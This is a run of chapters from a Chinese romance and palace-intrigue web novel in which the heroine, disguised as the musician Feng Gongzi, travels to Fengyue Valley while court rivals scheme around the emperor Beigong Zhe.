别再拒绝我好么? 第八十八章 别再拒绝我好么? 在安文夕葱白指尖穿梭在七弦琴上,琴声委婉而连绵,四琴声绕过丛林,犹如清泉在石上静流,缓缓而幽逸。 楚君昱微闭了眼睛,右手指尖摩挲着青瓷杯沿,室内烧着暖暖的炭火,烛火不时发出噼里啪啦之声。 这一刻,时间仿佛静止一般。 以至于多年后再忆起这幕,都觉得十分的温暖。 一曲终了,楚君昱也适时的睁开了眼睛,赞道:“世人常言能得凤公子一曲,千金不换,此言果然不假。” “玉公子谬赞了。” 接下来几日,玉公子每到入幕都回来凤青轩,煮一壶茶,再听她弹奏一曲。两个人似乎又回到了初识在凤青轩的日子。 安文夕觉得和楚君昱在一起总是有一种轻松的感觉。 自从那日曹暮烟从潇湘馆出去,她去怜馆寻芳问柳的消息便不胫而走,各种各样的流言四处迭起,不久又有人还传言曹太后和身边的近侍yin乱后宫,众人不禁嘘唏不已,然而面对这些不堪的流言蜚语,当事人曹太后丝毫不为所动,依旧我行我素,每天都要从外面招来小倌,夜夜笙歌。 沧月从信鸽上取下纸条递给曹暮烟道:“烟儿,六王爷来信了。” 曹暮烟捧着手炉,接过纸条看后,脸色大变,将手中的手炉狠狠地摔到地上怒道:“他算是个什么东西,竟然威胁起来哀家了!” 如今她是皇太后,他和北宫喆皆是她手中的一枚棋子罢了。在这件事上,就是北宫喆也没有说什么,偏生这个不知好歹的六王爷几番对她指手画脚,还拿他们之间的合作关系来威胁她,真是不自量力! “烟儿,太医都已经说了你不宜生气,这火气怎么又上来了?”沧月柔声哄道。 “你叫阿袭过来。”曹暮烟将手中的纸条狠狠碾碎。 “烟儿,如今正在风口浪尖上……” “怎么,现在连你也要忤逆我么!” “烟儿……” “还不快去!” 沧月无声地叹了口气,只要她开心就好,其他的事情都由他来做。 近来,朝堂之上许多言官纷纷上谏,联名上奏弹劾起来曹太后。而北宫喆在这件事却采取了睁一只眼闭一只眼的态度,任其发展。 北宫喆看着桌案上逐渐要堆成山的奏折,眸光如潭幽深,这曹太后真是不知死活,若是继续这样下去,到时候谁废黜谁还不一定呢! 江向晚端着一碗热气腾腾的燕窝羹来到琼华殿书房,对北宫喆浅笑道:“喆,吃点宵夜吧。” 北宫喆没有抬头直接道:“你先放着吧。” 江向晚径自绕道北宫喆身后,“喆,我帮你捏捏肩吧。” 北宫喆闻言手中的朱笔一顿,“不必了,天色不早了,你先回去睡吧。” “喆,你这是……在赶我走?”江向晚眼底掠过一抹受伤。 “晚儿,你身上有伤,朕不是说了让你好好养着身子么,你这段时间就不要来琼华殿了。” 江向晚从背后一把抱住北宫喆,声音中带了丝柔意,“喆,你不要赶我走,今晚就让我留下好不好?” 最后一句几近乞求。 北宫喆不动声色的扯开江向晚的手道:“晚儿,你知道的,这琼华殿从来不留女人。” 不留女人? 江向晚嘴角勾起凄凉的笑意,“那安文夕呢?” 北宫喆手中的朱笔应声而断,双眸里渐渐带着些冷意,刚想转身,却再次被江向晚抱住道:“喆,别再拒绝我好么?” “晚儿!”北宫喆的声音陡然冷了几分,“即日起,朕特许你回府养伤。” 江向晚身子蓦地一僵,他真的要……赶她走? “喆,你我青梅竹马,我从小就希望能够嫁给你,现在你纳了一个又一个女人,可独独不肯娶我,这是为什么?”江向晚只觉得眼睛酸的厉害。 “晚儿,你和她们不一样。” “是,我和她们不一样,我以前也是这样认为,她们不过是你为了平衡前朝势力才纳进宫的,我才是你要娶的那一个,可是我不容易复活了,你却偏偏让我做了女官,这样尴尬的身份……” “你当真想成为朕的妃子?” “我……”她想成为他的后,唯一的后,而不是那所谓的妃子。 “既然你想,那朕就成全你,让你成为她们之间的一员。”北宫喆语气变得淡漠。 “喆,我不要成为她们中的一员,我要的是你能够疼我爱我……”江向晚脸上划过温热的液体,她抓着北宫喆的衣袖道,“难道你从来就没有喜欢过我么?” 她不相信,她陪了他整整十五年,他不可能对她没有一点点的喜欢。 北宫喆扯过握在江向晚手里的衣角,看着她悲怆的神色,慢慢转过身去,他一直都拿她当做亲人,当做妹妹,可从未对她有过别的想法,喜欢她的一直都是惊魂。 他的转身已经代表了默认,看着那道挺拔的明黄背影,她觉得这个男人离她越来越远,她再也抓不到他了。 “你为什么就不能喜欢我,为什么?” 她的十五年却比不上那个人的三年,她好不甘心呐! 北宫喆眸光一敛,高声道:“青玄送江小姐回江府。” 江向晚垂下了眼睑,淡淡道:“好,我回家好好养伤。” 她尽量让自己看起来没有那么狼狈,既然不能再留到宫里,那她想留下最后的尊严。 安文夕将曹暮烟的声名搅得一团乌烟瘴气之后,便踏上了前往枫月谷的路途。 枫月谷位于大安和北襄的边界处,安文夕和欢凉一路北行,天气也越来越冷,幸好马车里足够温暖,这一路行来,也不算是太艰难。 为了行路方便,也为了避人耳目,安文夕和欢凉皆是男装。 她走得匆忙,没有来得及跟楚君昱道别,估计今晚他到凤青轩就会发现她不见了,亦如那日的胭脂,都是不告而别。 “二位公子,邹城到了。”赶车的小哥对车内说道。 “公子,我们下车吃点东西吧。”欢凉长长的吐了一口气,整天呆在马车上,身子骨都迟钝了。 安文夕点点头,掀开车帘对赶车小哥道:“麻烦小哥带我们去一家简单的酒楼便好。” “好咧。” 现在正是午时时分,酒楼里面的雅间皆座无虚席,安文夕只得在大厅内落座。 大厅内龙鱼混杂,有些身材剽悍的男人大口吃肉、大口喝酒,嘴里大声的嚷嚷着,安文夕微不可见的皱了皱眉。 旁边的桌子上的男人有了几分醉意,时不时朝安文夕和欢凉落座的座子上投来几眼,嘴里还调笑着。 “那位公子生得好生俊朗,你看那脸皮白的跟个娘们似的。” “哈哈哈。怎么大哥看上了?” “那兄弟我让他来伺候大哥喝酒。” “罢了罢了,咱们少惹事,喝酒喝酒。” “公主,大厅就是这样,这也没有办法,我们赶紧吃完,早些上路。”欢凉用眼角斜了眼旁边桌子上的人。 欢凉话音刚落,就有一位醉醺醺的男人一把握住安文夕执着筷子的手道:“这位公子,我们大哥请你一同喝酒吃肉,可否赏个脸。”他说着就要强行将安文夕拖走。 安文夕刚想发作,只见有一位指节分明的手一把拉住刚才那位醉醺醺的男人,扔到一旁。 “这位公子,你没事吧?” “我没事。”安文夕抬头蓦地一滞,这个人不正是北襄的六王爷么,半年前被北宫喆所杀,竟然没有死! “哪来的小兔崽子,竟敢坏爷爷的好事!”刚才那个男人愤怒着抡拳砸向六王爷。 六王爷二指钳住那人的手腕,以四两拨千斤之势轻松地将那人掀翻。 那人本来已经醉的差不多了,此时渐渐恢复了意识,一身横肉躺在地上,大口大口的喘着粗气,脸上的肉微微颤动,恼羞成怒的他刚想起来和六王爷拼个你死我活,不料却被同伴叫道:“老四,还不赶紧过来,丢人现眼!” “可是,大哥……” “过来!”为首的人端着酒杯对六王爷道,“这位公子,真是不好意思,舍弟给你添麻烦了。” 六王爷也不在意,接过酒来一饮而尽,随即将视线放在安文夕身上。 安文夕不动声色的扫了眼几人,心中略略明了,这六王爷向来不是个善茬,此时如此花费一番功夫在她身上,必定有事! 随即她双眸清澈,一脸波澜不惊,对六王爷含笑道:“多谢公子出手。” “无妨,你看这厅内客人已满,这位公子不介意我们拼桌吧。” 安文夕嘴唇微勾,真是个老狐狸! “不介意。”安文夕微微笑了笑,反正她们马上就要启程了。 六王爷刚落座不久,欢凉放下筷子道:“公子,我去结账,你先去外面等我。” 六王爷闻言抬头道:“你们的账我已经结了。” 安文夕嘴角一抽,无事献殷勤,非奸即盗! 欢凉从怀中拿出一锭银子放在桌子上道:“不敢麻烦公子,这是饭钱。” 安文夕刚刚起身,跟在六王爷身旁的女子伸手拦住了她们的去路。 安文夕皱眉道:“这位公子,你这是何意?” 六王爷看也未看那锭银子,浅笑道:“今日能和二位公子同桌而食,便是有缘,若是二位公子愿意,不如到寒舍坐一坐。” 第89章 真实身份 第八十九章 真实身份 “在下着急赶路,恕不奉陪。”安文夕冷冽的眼神扫向拦路的女子,下一瞬便已经迈开了脚步。 “你,长得很像一个人。” 安文夕闻言脚步蓦地一滞,转过身道:“寻一处茶肆便可,至于贵府就不必了。” “这边请。”六王爷抽出怀中的绢帕擦了擦唇,然后对着安文夕做了个请的姿势。 安文夕捧着手中的茶,微微吹着浮在杯中的茶叶。而对面的六王爷亦小口的啜着茶,闲淡极了,丝毫没有开口的意思。 安文夕将手中的茶盏放到桌上,看向六王爷道:“不知六王爷叫在下来究竟有什么事情,若是不说,在下就告辞了。” 六王爷勾起唇,露出一抹赞扬的笑意来,他的笑略显刚毅,不同于楚君昱的邪魅中带了丝温润,也不同于北宫喆桀骜稍显温柔。 她怎么好端端的想起了北宫喆?安文夕蓦地啜了口茶水,挥去脑海中北宫喆的影子。 “你能认出本王的身份,倒是个聪明人。” 安文夕微微勾唇,她之所以认得他,是因为她还是安国公主时,六王爷曾来过大安,而她又恰恰见过罢了。 “既然如此,我们便开门见山,据本王所知,公子便是颇有盛名的凤公子吧。” 安文夕点点头,淡道:“六王爷还没有告诉在下像谁呢?” 六王爷含笑慢慢靠近安文夕道:“本王只是觉得凤公子有些像一个故去的人罢了。” “谁?” “安国君!” 安文夕握着小盏的手一顿,抬眼看向六王爷,看着他一脸笃定的样子,心中微惊,难道他知道她的真实身份了? “若是本王猜得不错的话,凤公子就是安国君流落在外的私生子吧!” 安文夕一颗悬着的心顿时又放了回去,原来他一直都是这样猜测的。 六王爷指着南方道:“这大好的山河本是大安、本是凤公子你的,如今却被北宫喆霸占着,凤公子难道不想夺回来?” 原来他是为了这个才找上她的,像六王爷这种野心勃勃的人,说是找她合作,实则不过是那她当做垫脚石罢了。 她浅浅啜了口茶水,悠悠道:“六王爷是想推倒北宫喆自己来做皇帝吧。” 六王爷脸上一愣,他从没有想到有人会直截了当的说出他的心思,而那人却偏偏是一副淡漠的神情。 这样也好,如此直接,也省去了那么多的弯弯绕绕。 六王爷点头,“凤公子说的不错,这九州想要将北宫喆取而代之的人不在少数,待你我灭了大夏,将国土一分为二分为北襄和大安,你意下如何?” “呵……”安文夕淡淡的扯了扯嘴角。 “怎么,凤公子不愿?还是——不信本王?” 安文夕摇了摇头,眼神变得深邃悠远,“当皇帝真的有这么好么?” “当皇帝自然有当皇帝的好处,不然就不会有群雄逐鹿中原了。更何况,凤公子不想报杀父之仇么?” “杀父之仇……” 看着安文夕一脸寡淡的样子,六王爷心中微惊,一个经历了杀父之仇,亡国之恨的人怎么会表现得如此风轻云淡? 要么他心机深沉得可怕,要么他根本就不是安国君的私生子! “安国十公主安文夕被北宫喆纳入夏宫,一时间宠冠后宫,而前一段时间却突然被赐死,至于那位瑾淑妃是生是死,现在身处何方,难道凤公子不想知道么?” “哦?”安文夕神情微动,“六王爷知道她在哪里?” “本王不知,不过本王可以帮助凤公子。” “六王爷的美意,在下心领了,如今在下赶着上路,就先告辞了。” “本王相信凤公子早晚会来找本王的。” 安文夕但笑不语,有道是道不同不相为谋。 安文夕和欢凉上了马车后,便吩咐赶车的小哥沿原路返回,欢凉有些不解,小声对安文夕道:“公主,我们为何又往回走?” “北襄六王爷,那可是个老狐狸,他现在已经盯上我们了!” “反正他还不知道公主的身份,现在他在明,我们在暗,怕他做什么?” “凡事还是要多加小心,若是被他跟去枫月谷就麻烦了,我们先折回去打乱他的视线,然后再另寻道路。” 六王爷凭窗而立,右手摩挲着大拇指上的扳指,接过秋月递过来的信,眼角微微扫了一眼,蓦地碾成齑粉。 冷冷哼道:“真是盲目自信的女人!” “王爷,那曹太后不听劝告么?”秋月道。 “哼,还想拿本王当踏脚石,真是不自量力。” “王爷何必与她一般见识,等王爷荣登大宝之后,是杀是留,左不过王爷一句话的事情。” “如今本王是在考虑和曹太后合作,是不是上错了船。”六王爷一手扶额道,“对了,本王让你们跟踪凤公子,他如今去哪了?” “属下跟丢了,还请王爷责罚。” “跟丢了?自己下去领十军棍!”六王爷声音略有些冷。 “是。”秋月转身退了下去。 十日后,安文夕再次来到了邹城,只怕六王爷不会猜到她会再次来邹城吧。 安文夕和欢凉刚刚用过午膳,正打算收拾东西继续前往枫月谷,却突然传来一阵敲门声,欢凉蓦地闪身到门后,打算擒拿来人。 安文夕摇了摇头,“这次来的应该是熟人。” “我说,怎么开个门这么慢啊!”袭匀撇撇嘴道。 “怎么是你。”欢凉刚才紧绷的神色立即放松了下来。 “怎么不能是我,本公子可是冒着寒风冰雪,辛辛苦苦一路找来的,你不仅没有一句关心,反而整张脸上都写满了不欢迎,师兄这颗心都碎成渣渣了。”袭匀满脸悲戚,然后径自给自己倒了杯热茶。 “是不是出了什么事情?”安文夕敛眸道。 “小师妹,你的心头血早就被那个老妖婆给喝了!” “什么?!”那意思就是她以后便再也无法摆脱曹太后了? “如今之计,除非她死,否则她可以随时操控你的意识。”袭匀语气中带了丝凝重。 “那可怎么办才好?”欢凉凝眉,“你怎么自己跑过来了,你应该留在宫里,一把结果了那个老妖婆!” 袭匀毫不客气的弹了下她的脑袋,“她毕竟是一国太后,哪能说杀就杀,说话做事都不动动脑袋!” 然后他看向安文夕道:“不过小师妹放心,我发现每月十五月圆,老妖婆的力量最弱,必须依靠鲜血而活,我悄悄的给她加了点料,只怕她最近一段时间都不能操控你。” 安文夕略略点头,“毕竟这不是长久之计。” “其实,还有个办法。” “我知道,得需要换心,可是九州之大,却没有合适我的心脏。”安文夕挽眉道。 “小师妹,你也不必着急,这事总会有办法的。” 欢凉看向袭匀道:“我记得那老妖婆可是离不开你的,你来这里没问题么?” “既然小师妹的心头血取不回来了,我再留在夏宫,也没有多大的意义,不如跟着你们出去玩一圈。至于那个老妖婆么,估计现在也该回过来神了。还有小师妹,北宫喆如今正秘密的在承安搜寻你的下落,他还亲自去了趟凤青轩。” “那他没有发现什么吧?”欢凉有些担心道。 “有我在,他能发现什么?你要相信你师兄的能力!” 袭匀喝茶的动作十分粗鲁,引得安文夕和欢凉一阵皱眉。 “袭匀,玉公子他……” “听花姑姑说,在你离开后,他倒是去了凤青轩一次,听说你走了之后,便再也没有去过,怎么小师妹,你看上他了?” 安文夕闻言,一下子将他手中的杯子重重的放在桌案上道:“赶紧喝,我们要上路了!” “我说你们也太没良心了,我这千里迢迢的,你们不等我喝口热茶就上路,这合适么?” “合适,非常合适,你若是想喝茶就继续在这里呆着吧。”欢凉不客气的关上了门。 “哎,等等我。”袭匀立即放下了手中的热茶,仔细的整理好了身上的衣袍,用手微微拂了拂发丝,器宇轩昂的走了出去。 若是早知道她们让他做马夫来赶车的话,袭匀打死也不会跑来这一趟,袭匀磨了磨牙,冰冷的寒风刮到脸上如刀割一般,来时风流不羁的发型早已被邹城的北风吹成了一团鸡窝,他却冻得伸不出手来去梳理。 “喂,你们好歹给我个手炉啊!” “你见过谁家的马夫还抱着手炉赶车的,这也太娇贵了吧。”这一声是欢凉得意洋洋的声音。 “袭匀,你内力雄厚,不如用内力御寒。” “内力可不是这么用的!”袭匀咬牙道。 再然后,马车内便没有了声音传出来,回答他的就是这呼啸的寒风了,袭匀裹紧了身上的狐裘,他现在有些怀念承安烧的暖烘烘的炉火和温热的小酒了。 “啊!”马车突然陷进了坑洼里,欢凉一下重心不稳,狠狠地撞到了车壁上,痛的龇牙咧嘴。 她怒气冲冲的掀开马车车帘道:“我说你会不会赶车啊!” 袭匀无辜的看了眼欢凉,他好歹是第一次赶车,她就不能多担待些么? 安文夕跳下了马车,检查了下车轮,皱起眉头道:“这马车车轮子坏了,估计现在走不了了。” 第90章 好久不见 第九十章 好久不见 “走不了了?这前不着村后不着店的。”欢凉咕哝道。 “我看看是否能修。”安文夕蹙眉道。 袭匀看着坏掉的车轮,深表无力,他可以瞬间使一辆马车碎成渣渣,却不能修好坏掉的车轮。 “这车轮修不了了。”安文夕检查了一遍说道。 欢凉对于这种情况早就见怪不怪,公主她一向没什么架子,虽然素来养尊处优,但生活经验以及常识比她要多多了。 “既然这样,我们先慢慢往前走吧。” “走路可比坐马车舒服多了。袭匀赞道。 “你闭嘴,要不是你将马车弄坏了,我们这会早就到客栈了,还用在这里喝冷风啊!”欢凉不悦道。 “好好好,都是我的错,我认错还不行。”袭匀告饶道。 不远处渐渐传来一阵微弱的马蹄声,安文夕神色一动,“后面有辆马车。” 袭匀眼睛一亮,“不如我们在这里等等,一会让他们捎我们一路。” “没想到你也有沦落至此的一日,丢不丢人。”欢凉翻了个白眼,冷哼道。 “不丢人,这叫大丈夫能屈能伸。” “好了,你们俩都给我闭嘴!”安文夕厉声道。 赶车的夜影看到前方停驻的三人,勒了缰绳,放慢了速度,对车内道:“殿下,前方有人,属下瞧着好像是凤公子。” “凤公子?”楚君昱嘴角扬起一抹笑意来,他终于追上他了! “是,殿下,他们好像在等什么人。” 楚君昱嘴角微勾,他们许是在等过路的马车吧,刚才看到的坏马车想必就是他们的了。 安文夕远远地瞧见了夜影,车内何人,自然不言而喻,她不免有些尴尬来,为何她每次遇到困难时,总能碰到他? 欢凉和袭匀显然也认出了来人,袭匀高兴地兑了兑安文夕的肩膀道:“小师妹,是熟人!我们这下有救了。” 待马车离得近了,袭匀收起了一脸的欣喜,再次恢复了一副高冷范儿。 “驭——” “凤公子,我家公子请你上车。” 袭匀闻言,维持不到一刻钟的高冷范儿立即破功,“那我们俩呢?” “也一起上来吧。”马车内传来一声清润的声音来。 袭匀心中欢喜,刚打算撩开车帘马车,欢凉已经落下车帘,冷冷抛下一句道:“你在外面好好学学人家是怎么赶车的!” 袭匀撇了撇嘴,心里腹诽道:你这么去打扰人家两个去增加感情,合适么? “玉公子,好久不见。”安文夕浅浅笑了笑。 “凤公子,你这样不告而别,倒也我想起一位故人。” 安文夕心中顿时咯噔一下,微微扯了扯嘴角,“我一时走得匆忙,还请玉公子不要见怪。” “凤公子这么着急是打算去哪?” 安文夕犹豫了一瞬道:“我打算去枫月谷求一味药。” “我们正好可以顺路。” “玉公子也要去枫月谷?” 楚君昱点头,“我也是去枫月谷去求一味药。” 问候之后,安文夕便和楚君昱再次聊起琴艺来,期间楚君昱几番有意无意的提到胭脂醉一事,不乏试探,安文夕一一浅笑着回答,倒也没露出什么破绽来。 为了不让他发现什么,到了附近的城镇上,安文夕便重新买了辆马车,虽是同路,但是分车而行。 又过了十日,安文夕一行人总算是到了枫月谷。 枫月谷地势低平,冬季相对较为温暖,谷内种满了草木,就是冬日,也是葱荣一片。枫月谷四周多有高山环绕,远处望去便是山峦叠嶂。 枫月谷许多年前不过是一处茂密的丛林,后来月无痕夫妇来到这里后,才变成了现在的样子。月无痕和风飘雪两位前辈的爱情在九州向来被奉为佳话,当年乱世之中,二人悬壶济世,救死扶伤,宛若神仙眷侣。后来,九州天下一分为四,天下太平,夫妻二人偶然来到枫月谷,风飘雪喜欢这里的风景,于是他们便久居在这里了。 枫月谷向来是出谷容易进谷难,四周的树林中有着数不清的毒物,许多觊觎枫月谷的人往往还没有靠近枫月谷就死在了谷外。 安文夕因为手中有月无双给她留下的地图,所以一路走来,避开了不少危险。 这里也是刚刚落了雪,四周格外寂静,只有脚踩积雪发出的咯吱声音,安文夕呼吸着丛林中凉沁沁的空气,心情有一股数不出的愉悦来。越靠近枫月谷,越觉得这里恍如与世隔绝的世外桃源。 “都说这里什么毒蜘蛛,毒蛇什么的多不胜数,怎么一路走来,我一只也没遇上呢?”袭匀左右打量了一周道。 “你难道不知蛇会冬眠么?”安文夕淡吐道。 袭匀:“……” 半晌袭匀慢慢靠近安文夕,兑了兑她,小声道:“我听说小师妹有只小青蛇,改天借师兄玩两天?” “不借。”安文夕淡淡的瞥了他一眼,随即看向楚君昱道:“玉公子,这边走。” “喂,我说……” “少啰嗦,话这么多,一会把这丛林中的毒蛇给吵醒了,我可救不了你!”欢凉快步跟上了安文夕。 被彻底无视的袭匀很不爽的踢着脚下的积雪。 夜影扫了他一眼道:“这里的东西,多数有毒,在下劝公子安分些好。”别一会出了什么事情又得连累他家殿下! 他真是搞不懂,以前他家殿下追着北宫喆的女人不放,现在他们家殿下终于转移了视线,但是……对象却是个男的…… “本公子知道,不需要你来提醒。”袭匀拽拽道,什么有毒,什么没毒,这点常识他还是有的。 “好心当作驴肝肺。”夜影冷哼一声。 “看着凤公子这轻车熟路的样子,难道凤公子曾来过枫月谷?” “不曾,我也是第一次来,不过我和枫月谷的小姐有些交情,她曾送我一张枫月谷的地图罢了。”安文夕这句说的是实话。 “原来如此。” “啊!”楚君昱话音刚落,后面便传来了袭匀凄厉的惨叫。 众人齐齐回头,却发现不知从何处冒出来一条花斑银纹、足有碗口粗的蟒蛇来,那条健硕有力的蛇尾此时正缠在了袭匀腰间。 “你这个乌鸦嘴,说什么会吵醒毒蛇,毒蛇没有,蟒蛇倒有一条!”袭匀朝欢凉道。 夜影看到这一幕,唯有冷哼一声:“真是自作孽不可活!”然后看了眼自家殿下,见他没有动手的打算,不禁稍稍放了心。 袭匀刚想拔剑斩断蛇身,却被安文夕拦住,“不可鲁莽!” 这个季节怎么会有蟒蛇出现,十有八丨九这是无双养的宠物,不小心让袭匀给撞到了。 “你不让我动手,难不成想让它将我活活缠死不成?”袭匀明显感觉蛇尾比刚才缠得更紧了,心肺挤压的难受,他不禁叫苦不迭。 安文夕取下来后背上背着的七弦琴,盘地而坐,玉指开始在琴弦上拨动。 袭匀见此,心急道:“师兄这就要死了,你难不成还要奏乐为我送行么?”他现在真是欲哭无泪,双手触摸到那滑腻腻的感觉,心中一阵毛骨悚然。 “你闭嘴!”欢凉怒道。 安文夕微闭了眼睛,十指飞快的拨动着琴弦,琴声渐渐急促起来,乐声之中有铮铮之感,令人心中一阵激荡。 袭匀感觉缠绕在腰间的巨物蓦地一松,巨大的蛇尾开始慢慢的松开,巨蟒不断地翻转着身子,像是有些烦躁一般。 不过一炷香的时间,原本锁着袭匀的蟒蛇已经离开了他的身体,拖动着缠绕着的蛇尾渐渐远离此处,粗壮的蛇身在雪地上划出了一道巨大的痕迹。 安文夕见此,玉指慢慢停了下来,将膝上的七弦琴再次背到后背上。 楚君昱眼中多了抹赞扬,“今日凤公子真是让我大开了眼界。”以琴声驱蛇还是头一遭。 “玉公子过奖了,这也是没有办法的办法。” “小师……弟,行啊,没想到你还有这一招。”袭匀赞道。 “喂,你身上臭臭的,离我远点。”欢凉一脸嫌弃的看着袭匀道。 袭匀蓦地想起刚才被巨蟒缠住,浑身湿丨滑黏腻的感觉,脸色微变,顿时浑身不自在起来。 经此巨蟒一事后,袭匀老实多了,也不再吵吵着要找毒蛇来玩了,一路上话也少了不少。 冬日白日总是短暂的,一行人在迫近日暮十分来到了枫月谷,谷口有几名青衣童子看守着,看到安文夕等人,脸上微微有些惊骇。毕竟,这些年能找到枫月谷的人,少之又少。 “若是几位是来求医问病的,就请回吧,我家谷主和夫人现在不方便。” 呵……真是好狂妄的口气! 楚君昱闻言微微敛了眸光,好看的薄唇扬起一道微不可见的弧度来。 安文夕上前一步,从袖兜里掏出一枚如意结来递给青衣小僮道:“我想见你们无双小姐,麻烦你将它交给你们小姐,她看了自然会来见我,多谢了。”这如意结是她特有的,只要无双一看必然知道她来了。 那名青衣小僮瞥了眼手中的小东西,神色微微有些迟疑。 让他去找无双小姐……说实话他害怕的厉害,全谷上下,谁不知道枫月谷最难惹的便是无双小姐了,她的院子里全是毒物,他们稍有不慎,可是会中毒的! 第91章 初来枫月谷 第九十一章 初来枫月谷 他犹豫了一瞬,将手里的东西扔给安文夕道:“我们小姐岂是你说见就见的!” 安文夕微眯了下眼睛,握紧了手中的如意结。 “嘿,我说你这个小屁孩怎么蛮不讲理,好好说话你不听,是不是想打架啊!”袭匀怒道。 “这位公子,看着你风度翩翩的,怎么如此——粗鲁!”那小僮微微瞥了眼袭匀,淡道。 “噗——”一声轻笑从上面传来,一个娇小轻盈的身影从高处一跃而下。 大红的狐皮夹袄里面是一身嫩绿的褙子,头上再次飘满了万国旗,无数条小辫子随着她的下落而左右摆动。 但看这衣服装束,安文夕也能猜到是谁,对于月无双的审美观,她已深表无力。 安文夕不动声色的对月无双眨了眨眼睛,月无双看了眼她和欢凉的打扮,瞬间明白了安文夕的意思,一时不知道叫她什么好。 “怎么了无双,不认识你凤哥哥了?” 月无双嘴角一抽,凤哥哥……她倒是想的出来。 “你怎么突然来了,也没告诉我一声。” “我也是临时决定,不欢迎?” “欢迎,谁敢不欢迎。” 月无双话音刚落,刚才拒绝安文夕那个小僮不好意思的抓了抓头,他好像得罪无双小姐了,眼角微微扫了眼不远处的那一大坨东西,后背一片凉寒。 月无双将那小僮的动作收入眼底,笑道:“凤……凤哥哥别怪他们,是我让他们这样说的,你不觉得这样才能彰显我们枫月谷的霸气么!” 月无双歪着头想了一会道:“嗯……就像是你以前说的霸气侧漏,哈哈。” “啊!” 众人正说着话,袭匀的一声尖叫成功的吸引了众人的视线。 “它……它怎么会在这里?”袭匀食指微颤,指着蜷缩成一团的巨蟒道,那花斑银纹的巨物,分明就是刚才差点要了他的命的那条巨蟒。 “这是我的小乖,你别害怕,它不会伤害你的。”月无双对袭匀道。 袭匀看着刚才的那只巨蟒不断地摆动着蛇尾,嘴角一抽。 小乖?我的个乖乖,这么个庞然大物叫小乖…… “凤哥哥,这位是?”月无双抬眼看着一直沉默着的楚君昱问安文夕道。 楚君昱俊美无斯的脸上微微带了些笑意,白衣如雪,黑发墨染,抬眸含笑间朗风霁月,即使他没有说话,只是静静地伫立在那里,也难以让人将他忽略。 月无双看着面前妖魅又润泽的男子,心蓦地一跳。 “这位是玉公子。” “月小姐,在下此次前来枫月谷想来问谷主求一味药。”温润的嗓音如一泓清泉缓缓流进了月无双的心里。 她抬起头看向楚君昱道:“原来你是向爹爹求药的,既然如此,都随我来吧。” 月无双走了两步,又想起了盘在不远处的小乖,她忙对小僮道:“我带客人去见爹爹,你一会将小乖送到我的院子里。” 那小僮看了眼正玩着自己的蛇尾巴玩的不亦乐乎的小乖,脸色一僵,又看了眼月无双眼底的决绝,只得硬着头皮道:“是,小姐放心。” 进了谷,一股清幽的梅香扑面而来,谷内的风景与外面迥然不同,亭台楼阁,雕梁画栋美不胜收,里面的建筑布置倒颇有种江南风味。行了几步,眼前的景象陡然一变,视线蓦地变窄,所有的房舍都玲珑精致,一条幽静的葱荣小道直通主院而去。 刚进了主院,月无双便风风火火的冲进了房内,头上各色的发带迎风而摆。 “爹爹,娘亲,谷里来客人了!” 月无痕正在为风飘雪描眉,听到月无双的大嗓门,吓得手一哆嗦,画偏了。 风飘雪看着画坏的眉毛,眉头一蹙,使得原本画歪的眉毛更具有喜剧感。 “这么火急火燎的,不知道的还以为火烧你家房子了,你瞧瞧你哪有一点女孩子的样子!”她不满的指着画歪的眉毛对月无双道,“你看看,好好地眉毛都画歪了。” “娘亲,都快晚上了,画什么眉毛啊?”月无双弱弱道。 “双儿,你说谷中来了客人?” 月无双立即又兴奋起来,“就是我跟你提到的夕姐姐呀。” “那个大安的羲和公主?”月无痕似是想起了什么。 风飘雪撇了撇嘴道:“怎么,你又想起莫虞来了?” “你这么大醋劲,也不怕闺女笑话。” “我哪有吃醋,当年人家莫虞压根就不喜欢你,况且有我在,你若是敢喜欢别的女人,看我不打断你的腿!”风飘雪说中眼中精光一闪,暗含威胁。 “爹爹,夕姐姐现在用的是凤公子的身份,你别露馅了,一同来的还有个玉公子。”那活脱脱的一只妖孽,帅的一塌糊涂,月无双默默的在心底补上了这一句。 “带我去看看。”月无痕说着率先迈出了步子。 “等等我,我也去。”风飘雪重新画了眉头,立即跟了上去。 月无痕四十上下的年纪,但保养得宜,英气勃发,眉宇之间尽显翩翩俊美之色。随之而来的风飘雪,更是美的张扬,周身凸显绝艳来。 “凤轻歌见过月谷主。” 楚君昱淡淡的扫了眼二人,随即抱拳道:“晚辈前来叨扰谷主,还望谷主莫要见怪。” 月无痕将视线放在了安文夕身上,一袭红衣翩飞,倒是和莫虞的喜好一样,白净如玉的脸上挂着浅淡的笑意。 不过是张假面皮罢了,看不出她的眉眼如何,月无痕一一掠过安文夕身侧的欢凉和袭匀,接着将视线放到楚君昱身上,润泽如玉,倒是人如其名,他那双狭长的凤眼涌出一丝熟悉来,月无痕一时想不起来,只得作罢。 “你们来我枫月谷所为何事?” “晚辈二人皆是来求一味药。” 若不是稀世难寻的药也不会找上枫月谷,月无痕对二人道:“既然你们能找到枫月谷,想来你们与老夫也算是有缘之人,你们先在枫月谷住下,至于求药一事,老夫自当尽力。” “多谢月谷主。” “我带你们去厢房吧。”月无双自告奋勇道。 经过月无双的分配,安文夕和欢凉、袭匀住在她院子的左边,而楚君昱住在她的右边。其实,她这么安排,一时为了找安文夕方便,二是方便她看美男。 袭匀到了厢房,便嚷嚷着要洗澡安文夕无奈,只得麻烦了月无双特地派了两个小僮烧了热水。 用过晚膳,安文夕便早早的躺了下来,按说连日赶路,疲惫不堪,到了今天终于可以睡个安稳觉,但是安文夕却丝毫没有困意,躺在床上翻来覆去,脑子里一直在想着这一年发生的事情,从安国被灭,到她被北宫喆纳入后宫…… 猛然间,她的脑海中闪现出无涯和秋水的脸来。很明显那日在九华殿刺杀北宫喆是一个骗局,目的就是让她和北宫喆反目,还有后来王叔去世,李管家,那个羽卫的图案,矛头都指向了北宫喆,这无疑令他们二人关系更加破裂。这一幕幕,慢慢浮现在她的脑海中,她渐渐清明起来。这一切,仿佛都在指向一个看不见的阴谋来。 安文夕蓦地睁开了眼睛,吹灭了摇曳的红烛,她相信,那个人总有露出狐狸尾巴的一天。 楚君昱看见安文夕房内熄了灯,立了半晌,然后转身回了房间。 跟在他身后的夜影有些不懂,殿下说有事来找凤公子,可是却在他的门外立了半天,最终也没有敲门。 殿下说来枫月谷求药,所求的药必是引魂丹,可是枫月谷仅有一颗引魂丹,如今正在江向晚的体内,他实在不明白殿下来这一趟,到底有何目的? 难道真的是为了凤公子,一个男人? 他若是没有记错的话,过了年,殿下就要迎娶西楚世族嫡女月小姐了! 